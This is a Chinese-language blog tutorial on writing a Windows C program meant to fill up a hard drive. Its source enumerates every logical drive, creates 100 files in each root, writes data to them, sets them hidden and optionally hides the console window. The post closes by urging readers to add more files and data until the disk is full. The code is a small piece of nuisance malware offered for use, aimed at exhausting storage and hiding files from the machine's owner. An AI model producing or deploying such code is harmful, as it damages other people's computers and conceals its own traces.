关于写可塞满硬盘的程序

我们先想想思路:

第一步:获取逻辑盘符

第二步:创建文件

第三步:文件写入数据

扩展要求:

一:隐藏窗口

二:文件设置为隐藏属性

下面我们对上述的思路介绍一个API,接受完后给出源代码

GetLogicalDriveStrings function

Fills a buffer with strings that specify valid drives in the system.

DWORD WINAPI GetLogicalDriveStrings(_In_  DWORD  nBufferLength,_Out_ LPTSTR lpBuffer
);

此函数是把系统里面可用的磁盘读取到lpBuffer里面

成功则返回获取的总长度,

失败有两个情况一个是buffer不够长,一个是其他问题

关于其他的API函数,都比较简单,有些可以从命名意思就知道功能,在此不在介绍,源码中也有注释,

下面看源代码

#include <Windows.h>int main()
{//FreeConsole();   //隐藏控制台char strDriveStrings[MAXBYTE] = { 0 };//获取逻辑地址DWORD dwDriveStrLen = GetLogicalDriveStringsA(MAXBYTE, strDriveStrings);for (size_t i = 0; i < dwDriveStrLen; i += 4)  //每4个字节表示一个盘符             {char strTargetPath[MAX_PATH] = { 0 }, strRoot[4] = { 0 };strncpy_s(strRoot,&strDriveStrings[i], 4);strcpy_s(strTargetPath, strRoot);//创建100个文件for (int j = 0; j < 100; j++){char TempStrTargetPath[MAX_PATH];strcpy_s(TempStrTargetPath, strTargetPath);char FileName[MAXBYTE];char Date[MAXBYTE] = "11111";wsprintf(FileName, "%d.txt", j);strcat_s(TempStrTargetPath, FileName);//创建文件HANDLE hFile;hFile = CreateFileA(TempStrTargetPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);if (hFile == INVALID_HANDLE_VALUE)continue;DWORD Pointer;//写入数据WriteFile(hFile, &Date, strlen(Date), &Pointer, NULL);CloseHandle(hFile);//将s所指向的某一块内存中的前n个 字节的内容全部设置为ch指定的ASCII值memset(FileName, 0, sizeof(FileName));//设置为隐藏SetFileAttributesA(TempStrTargetPath, FILE_ATTRIBUTE_HIDDEN);}}return 0;
}

把文件浏览属性设置好:

运行结果如下:

如果出现以下问题:

修改字符集如下:

所以大家只要多搞几个文件,多搞点数据,硬盘就会被塞满

C/C++轻松写可塞满硬盘的程序相关推荐

  1. HTML5最新漏洞:用户硬盘或被垃圾数据塞满

    北京时间3月4日早间消息,HTML5编程语言的一个最新漏洞今天被发现,它允许网站利用数GB垃圾数据对用户展开轰炸,甚至会在短时间内将硬盘塞满.多款主流浏览器均会受此影响. 一位名叫菲罗斯·阿伯克哈迪杰 ...

  2. [新手及懒人适用]轻松恢复误Ghost的硬盘

    首先感谢51CTO有这么好的网络平台,很荣幸本周成为推荐博客.在高兴的同时,倍感压力,毕竟,51CTO看得见的看不见的大牛太多,而自己需要完善的东西还太多太多........... .好在,我会坚持自 ...

  3. arXiv,30 岁生日快乐!它的诞生,始于一个​被塞满的邮箱

    来源丨新智元 arXiv 30岁啦! 这个收集物理学.数学.计算机科学.生物学与数理经济学的论文预印本的网站,始于1991年8月14日. 30年来,它见证了无数学者的耕耘. 根据Nature的报道,截 ...

  4. 轻松写日记---日记软件

    作者:shulan  官网 www.gudianxiaoshuo.com 轻松写日记 打开日记本,输入密码 便可书写当天的日记,除了写之外, 还有语音朗读.点评.标注.换肤换色等功能哦

  5. ImageIO写图片输出到硬盘

    package awt; import java.awt.Color; import java.awt.Font; import java.awt.Graphics; import java.awt. ...

  6. 做好5步操作,轻松写出一篇价值10万的软文

    今天,吕杭泽带给大家的是软文的写作技巧,我们全方位.360度的来深度剖析一下:软文到底应该怎么写呢? 软文,软文,首先要软!相对硬性广告而言,软文的精髓就在于一个字"软"!软文是广 ...

  7. 轻松写出爆文的好工具

    这两年自媒体算是一个风口浪尖的行业,各种大学生,微商,甚至是宝妈都开始进军自媒体! 但是很多自媒体人都遇到这样的烦恼,发布的文章没有推荐,没有阅读,没有转发,收入很 低,或者根本没有粉丝关注,每天创作 ...

  8. python中脚本是指什么_你用Python写过最牛逼的程序/脚本是什么?

    有网友在 Quora 上提问,「你用 Python 写过最牛逼的程序/脚本是什么?」.本文摘编了 3 个国外程序员的多个小项目,含代码. Manoj Memana Jayakumar, 3000+ 顶 ...

  9. python写简单的脚本-你用 Python 写过哪些牛逼的程序/脚本?

    原标题:你用 Python 写过哪些牛逼的程序/脚本? [导读]:有网友在 Quora 上提问,「你用 Python 写过最牛逼的程序/脚本是什么?」.本文摘编了 3 个国外程序员的多个小项目,含代码 ...

最新文章

  1. 两地控制的项目要求_项目两地控制灯照明线路的安装.ppt
  2. NTFS 分区表修复新法(AcronisDiskDirector10)
  3. UI_UITableView_搭建
  4. JAVA——Okhttp封装工具类
  5. 荒野乱斗角色设计浅谈
  6. .net MySQL事物_在ASP.NET 2.0中操作数据之六十一:在事务里对数据库修改进行封装...
  7. android自动退出对话框,Android开发 在用EditText对话框Dialog退出后实现输入盘的退出...
  8. Javascript 事件冒泡处理
  9. Werkzeug Turorial
  10. ROS,launch学习
  11. LeetCode 127. Word Ladder
  12. CentOS 系统时间校准
  13. iOS crash分类,Mach异常、Unix 信号和NSException 异常
  14. html右侧可隐藏导航栏,HTMLCSS----练习隐藏导航栏(三级导航)
  15. kubernetes 使用kubectl port-forward 访问应用
  16. 达内python培训靠谱吗
  17. 【项目笔记】布局文件报错Suspicious size: this will make the view invisible, probably intended for layout_width
  18. CDH kudu Unable to load consensus metadata for tablet
  19. 迎娶白富美,走上人生巅峰(python爬虫股票分析)
  20. 人工智能初识(百度ai)

热门文章

  1. 3 分钟了解 JSON Schema
  2. 学习Oracle SQL loader 的使用
  3. PHP 程序员如何设计一个爬虫程序
  4. 每日一例飞鸽传书2012偷偷来袭
  5. 《XIM 企业即时通讯软件》
  6. ADO编程中ATL所遇到的定义问题
  7. VC实现动画应用两则
  8. python 中BeautifulSoup入门
  9. 百度、WordPress纷纷宣布停用React
  10. php scandir遍历,php使用scandir()函数扫描指定目录下所有文件示例